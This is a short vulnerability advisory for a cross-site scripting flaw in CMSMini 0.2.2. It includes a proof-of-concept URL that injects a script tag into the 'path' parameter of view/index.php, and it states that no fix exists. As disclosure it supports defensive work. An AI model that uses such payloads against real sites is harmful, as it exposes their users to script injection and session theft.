CMSMini 0.2.2 Cross Site Scripting

Information
--------------------
Name :  XSS Vulnerabilities in CMSMini
Software :  CMSMini 0.2.2 and possibly below.
Vendor Homepage :  http://sourceforge.net/projects/cmsmini/
Vulnerability Type :  Cross-Site Scripting
Severity :  Critical
Researcher :  Canberk Bolat
Advisory Reference :  NS-12-012

Description
--------------------
A small PHP application for manage content for small web sites. Not
intended for a cooperative group of editors and reviewers: simply one
editor can insert new contents, immedietly published on web: "one
task, one click"

Details
--------------------
CMSMini is affected by XSS vulnerabilities in version 0.2.2

http://example.com/view/index.php?path='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x0000A3)%3C/script%3E&p=cms.guestbook&msg=Message%20sent

You can read the full article about Cross-Site Scripting from here:

Cross-site Scripting (XSS)
Solution
--------------------
No fix.

Advisory Timeline
--------------------
23/01/2011 - No contact info
19/10/2012 - Advisory released

Credits
--------------------
It has been discovered on testing of Netsparker, Web Application
Security Scanner - http://www.mavitunasecurity.com/netsparker/.

References
--------------------
Vendor Url / Patch : -
MSL Advisory Link :
http://www.mavitunasecurity.com/xss-vulnerabilities-in-cmsmini/
Netsparker Advisories : http://www.mavitunasecurity.com/netsparker-advisories/

#  0day.today [2018-04-04]  #